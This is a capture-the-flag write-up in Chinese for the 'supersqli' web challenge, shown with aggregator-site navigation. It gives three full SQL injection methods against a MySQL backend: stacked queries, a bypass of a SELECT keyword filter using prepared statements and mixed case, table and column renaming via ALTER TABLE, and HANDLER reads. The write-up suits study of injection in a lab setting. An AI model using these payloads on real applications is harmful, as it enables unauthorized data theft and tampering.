zoukankan      html  css  js  c++  java
  • 攻防世界-web-高手进阶区017-supersqli

    方法一:

    1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

     

    2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段这时候用union select进行联合查询,发现关键字被正则过滤

     

    3.尝试堆叠注入

    -1';show tables --+

     

    4.查看字段,

    -1';show columns from `1919810931114514` --+

    -1';show columns from `words` --+

     

     

    5.查看值,需要绕过select的限制,我们可以使用预编译的方式

    -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

    拆分开来如下

    -1';

    set @sql = CONCAT('se','lect * from `1919810931114514`;');

    prepare stmt from @sql;

    EXECUTE stmt; #

     

    6.这里用strstr函数过滤了setprepare关键词strstr这个函数并不能区分大小写,我们将其大写即可。

    -1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

     


     

    方法二:

    1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

    select * from words where id = '';

    2.我们将表1919810931114514名字改为wordsflag列名字改为id,那么就能得到flag的内容了。

    修改表名和列名的语法如下:

    修改表名(将表名user改为users)alter table user rename to users;

    修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);

    3.最终payload如下:

    1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

    拆分开来如下

    1';

    alter table words rename to words1;

    alter table `1919810931114514` rename to words;

    alter table words change flag id varchar(50);

    #

    4.然后使用1' or 1=1#即可查询出flag

     


     

    方法三:

    使用handler查询,payload如下:

    -1';handler `1919810931114514` open;handler `1919810931114514` read first;#


  • 相关阅读:
    JavaScript和DOM
    CSS补充以及后台页面布局
    HTML标签和CSS基础
    基于SQLAlchemy实现的堡垒机
    PymySQL
    SQLAlchemy
    负数取模
    list
    算法(3)
    python初识(3)
  • 原文地址:https://www.cnblogs.com/joker-vip/p/12483823.html
Copyright © 2011-2022 走看看